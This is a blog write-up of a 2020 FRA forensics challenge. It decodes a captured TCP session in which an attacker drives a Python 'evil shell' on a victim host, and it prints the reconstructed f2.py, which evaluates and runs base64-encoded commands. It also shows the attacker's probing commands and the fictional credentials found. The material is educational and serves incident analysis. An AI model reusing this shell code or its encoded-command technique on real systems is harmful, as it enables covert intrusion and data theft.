FRA Challenge 2020-1 (Updated)

Updated: 2022-10-23. (I first wrote the intro back in 2020 when this was active but I didn't want to spoil the solution. Then forgot to add the solution later... Anyway, here it is!)

The challenge continues on the topic of evil shells. I've covered the specific case of web shells in Improving web shells. However, this time it's a python shell using different data encoding and encryption tricks.

From the readme.txt we learn that the client/victim on 172.10.0.5 has been acting strange. We also get the following questions:

1. Which commands are executed in the first step?
2. Which commands are executed in the second step?
3. What is user2's password?
4. When is the invasion starting?
5. What weapons will be used?

To solve we have trafik.pcap, with a single TCP session, and the python file f1.py.

 

Below is the description of the challenge.

Vad har en av nätverkets klienter för sig? Förstå trafiken och svara på frågorna.

Tillhör tjänsten "Underrättelseanalytiker till Cyberförsvaret" (Påsken 2020).

(16821 bytes, sha256: e260730a555a30b8bd312c6f00be816353b22f72fdbfd0bdf19403727ae20212)

 

 

Step 1

The network traffic indicates that 127.10.0.254 (attacker) initiates the connection to 172.10.0.5 (victim). Shortly after, the victim answers with the prompt:

<3vil$hell:#>

The attacker now asks the victim to run the following code:

python3 -c "import f1 as f; a = f.A('cmd1')"

Here we run into a problem because the actual command for cmd1 is looked up in a separate module which we do not have. But perhaps we can learn from the victim's response:

746f74616c203139320a64 ...

If we follow the code in f1.py we learn that the victim hex encodes the output (methods e(x) and h(x)).

Which when decoded yields:

total 84
drwxr-xr-x 10 user1 user1 4096 Mar 25 08:08 .
drwxr-xr-x 17 user1 user1 4096 Mar 25 08:06 ..
drwxrwx---  2 user1 user1 4096 Feb  3 08:10 backup
-rw-rw-r--  1 user1 user1 1096 Mar 25 07:37 bash_history
-rwxrwx---  1 user1 user1  173 Feb  1 08:37 .bashrc
-rwxrwx---  1 user1 user1  173 Feb  1 08:37 commands.py
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Documents
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Downloads
-rwxrwx---  1 user1 user1  596 Feb  1 10:12 f1.py
-rwxrwx---  1 user1 user1 6430 Feb  2 02:24 nc
-rwxrwx---  1 user1 user1 9847 Mar 25 07:23 nc2
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Pictures
drwxrwx---  3 user1 user1 4096 Feb  1 06:39 private
drwxr-xr-x  2 user1 user1 4096 Mar 25 08:08 __pycache__
-rw-rw-r--  1 user1 user1 5503 Mar 25 08:05 README
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Videos
drwxrwx---  6 user1 user1 4096 Mar 25 07:39 work

 

Based on this output, ls -la seems like a possible command. -l because of the long listing format and -a because we see hidden files like ... Note that we can see the commands.py file here in the output. If only we could read that file, then we wouldn't have to guess! But, based on what we can see, the answer to the first question is ls -la.

 

 

Step 2

Similar to step 1, but now the attacker tries to execute cmd2.

Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost:8307          localhost:59580         ESTABLISHED
tcp        0      0 user:43215              worker:ssh              ESTABLISHED
tcp        0      0 localhost:55412         localhost:https         ESTABLISHED
tcp      509      0 user1:40145             webproxy.myweb:http-alt CLOSE_WAIT 
tcp        0      0 localhost:https         localhost:54789         ESTABLISHED
tcp        0      0 localhost:44223         localhost:1111          ESTABLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ]         DGRAM                    33489    /run/user/1000/systemd/notify
unix  2      [ ]         DGRAM                    23543    /run/user/120/systemd/notify
unix  3      [ ]         DGRAM                    15950    /run/systemd/notify
unix  9      [ ]         DGRAM                    15961    /run/systemd/journal/socket
unix  2      [ ]         DGRAM                    15983    /run/systemd/journal/syslog
unix  29     [ ]         DGRAM                    16002    /run/systemd/journal/dev-log
unix  3      [ ]         STREAM     CONNECTED     50044    
unix  2      [ ]         STREAM     CONNECTED     46503    
unix  3      [ ]         STREAM     CONNECTED     40504    
unix  3      [ ]         STREAM     CONNECTED     36404    
unix  3      [ ]         STREAM     CONNECTED     41170    /run/systemd/journal/stdout

 

This output comes from the netstat command. I don't think any extra flags were used.

 

 

Step 3

Now the attacker is stepping up their game with bigger payloads:

python3 -c "import f1 as f; r=f.A.d('696d70...29290a');print(r)" > f2.py
python3 -c "import f2 as f;e=f.B.e('d');print(e)"

The victim answers with ZA==.

Here the attacker creates a new python file, f2.py, with the contents of the output from f.A.d(data). By analyzing f1.py we can learn that f.A.d is simply hex-decoding the data. Resulting in the following f2.py code:

import sys
import subprocess as s
import commands as cm

class B(object):
    @staticmethod
    def e(x):
        o = cm.c['func1'](x.encode())
        return o.decode()

    @staticmethod
    def d(x):
        o = cm.c['func2'](x.encode())
        return o.decode()

def run(cmd):
    dec = eval(B.d(cmd))
    r = s.run(dec, stdout=s.PIPE).stdout.decode()
    # print(r)
    print(B.e(r))

 

Oh no, we do not know what func1 is. At least we know it takes one argument.

Moreover, we now know that: encode('d') == 'ZA=='

The double equal sign at the end is a good indication that it might be base64 encoding. And indeed, base64('d') is ZA==.

Taking a step back, we have f1.py that does hex encoding and decoding and now we also have f2.py that does base64 encoding (and probably decoding). 

The attacker relentlessly continues with:

python3 -c "import f2 as f;f.run('WydscycsJy1sYSdd')"

f.run takes a base64 encoded payload, decodes it, executes it, and encodes the output before sending it back. In this case, the command is, similar to step 1, ls -la.

total 88
drwxr-xr-x 10 user1 user1 4096 Mar 25 08:08 .
drwxr-xr-x 17 user1 user1 4096 Mar 25 08:06 ..
drwxrwx---  2 user1 user1 4096 Feb  3 08:10 backup
-rw-rw-r--  1 user1 user1 1096 Mar 25 07:37 bash_history
-rwxrwx---  1 user1 user1  173 Feb  1 08:37 .bashrc
-rwxrwx---  1 user1 user1  173 Feb  1 08:37 commands.py
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Documents
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Downloads
-rwxrwx---  1 user1 user1  596 Feb  1 10:12 f1.py
-rw-r--r--  1 user1 user1  391 Mar 25 08:08 f2.py
-rwxrwx---  1 user1 user1 6430 Feb  2 02:24 nc
-rwxrwx---  1 user1 user1 9847 Mar 25 07:23 nc2
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Pictures
drwxrwx---  3 user1 user1 4096 Feb  1 06:39 private
drwxr-xr-x  2 user1 user1 4096 Mar 25 08:08 __pycache__
-rw-rw-r--  1 user1 user1 5503 Mar 25 08:05 README
drwxr-xr-x  2 user1 user1 4096 Feb  3 07:54 Videos
drwxrwx---  6 user1 user1 4096 Mar 25 07:39 work

 In this output we can see the newly created f2.py file.

 The attacker continues probing around (I've decoded all base64 here):

$ ls -la backup/

total 16
drwxrwx---  2 user1 user1 4096 Feb  3 08:10 .
drwxr-xr-x 10 user1 user1 4096 Mar 25 08:08 ..
-rwxrwx---  1 user1 user1    0 Feb  1 03:08 .bashhist
-rwxrwx---  1 user1 user1  126 Feb  3 08:10 pw_vault
-rwxrwx---  1 user1 user1  352 Feb  2 01:38 shadow_copy

$ cat backup/pw_vault

Accounts:
  User        Pass
  --------------
  root      
  user1      sommar2019
  user2      HorseHatBatteryStaple
  user3 

$ cat backup/shadow_copy

root:4c523473b193736d7e00ec6a9be1480a6b10ace5184784b3fabb331fcae40357 // notes: root-priviledges  pw: --
user1:d146c62ff4a1b1552bfe162b86d7a656a26d2ad1cf812c4fb3eea0c272bc313b // notes: non_root-priv     pw: sommar2020
user2:6008534dbeb34eb413a308f06067bb7f7060582e0b5b3d85c3e35bd07948c437 // notes: root_priviledges  pw: HorseHatBatteryStaple
user3:

 

Now we can answer the third question, user2's password is "HorseHatBatteryStaple".

 

Step 4

After a bit more probing into the "private" and "work" directory (containing the "secret_plans.zip") the attacker creates yet another python file, f3.py.

f3.py is using an encryptor/decryptor that I think might be RC4.

The code will look for a file named pass.txt to read the password, if not there, it will fall back to using the password "default_pass". The attacker runs:

$ python3 f3.py 1b17574cd639192cd70e file.txt

Which runs RC4(1b17574cd639192cd70e, "default_pass") results in "sommar2020", this is then put in the file file.txt.

The next command moves file.txt to pass.txt, making sommar2020 our new cryptographic key.

After some more ls, the attacker now tries to unzip work/secret_plans.zip, but wait, no output? Seems like the unzip fails. As a response, the attacker runs cat bash_history to learn more about the victim's recent commands. By investigating the commands we can see the archive command used to create the archive, including the password! zip -r -P supersecretpassword secret_plans.zip plans

Finally, the attacker downloads/prints the zip using hd -v work/secret_plans.zip.

00000000  50 4b 03 04 0a 00 00 00  00 00 84 7b 79 50 00 00  |PK.........{yP..|
00000010  00 00 00 00 00 00 00 00  00 00 06 00 1c 00 70 6c  |..............pl|
00000020  61 6e 73 2f 55 54 09 00  03 78 6a 7b 5e 8a 6a 7b  |ans/UT...xj{^.j{|
...

After extracting the hex data from hexdump we can reconstruct the archive and then extract the content. Starting with attack_plans_VERY_SECRET.txt we get this cute ASCII art plan.

 

VERY VERY SUPERDUPER SECRET DOCUMENT

====================================
             WARNING
  DO NOT DISTRIBUTE TO ANYONE!!!
  ABSOLUTELY NOT TO THE ENEMY!!!
===================================


When?

Timing is essential.  Therefore we start the attack AT DAWN to take the enemy by surprise!


Attack plan:
                                                      \
                                                 ======\
             OUR FORCES                          =======                           ENEMY FORCES
                                                 ======/
                                                      /
                                 ===||
                                 ===||                             |==
( > ' ' )>   ( > ' ' )>   ( > ' ' )>||                             |<("<)  <("<)  <("<)  <("<)  <("<)

( > ' ' )>   ( > ' ' )>   ( > ' ' )>                                <("<)  <("<)  <("<)  <("<)  <("<)

( > ' ' )>   ( > ' ' )>   ( > ' ' )>                                <("<)  <("<)  <("<)  <("<)  <("<)

( > ' ' )>   ( > ' ' )>   ( > ' ' )>                                <("<)  <("<)  <("<)  <("<)  <("<)



With the answer to question 4: "Timing is essential.  Therefore we start the attack AT DAWN to take the enemy by surprise!". Hmm at around 4-5 am? Sounds familiar...

 

Step 5

What about the weapons? We just need to check drawing_of_our_new_weapon_VERY_SECRET.txt.

 


VERY VERY SUPERDUPER SECRET DOCUMENT

====================================
             WARNING
  DO NOT DISTRIBUTE TO ANYONE!!!
  ABSOLUTELY NOT TO THE ENEMY!!!
===================================



    IDEA 1:


        //
  o====||==================>                 
\\



    IDEA 2:

  *
  ***
  ******
  *******************************************
  *  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  **
  *                                              **
  *******   - - - - - - I C B M - - - - - - - - -  ********
  *                                              **
  *  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ **
  *******************************************
  ******
  ***
  *

Seems like a nice combination of melee and long-range weapons!

 

All in all, a very nice challenge teaching a nice combo of forensics and code analysishow while also showcasing how an attacker might explore a system to steal information.


Write your comment!

Comments

Anonymous No. 4930 2024-03-07 15:20:22
>>4914
>>4914
what are you trying to tell us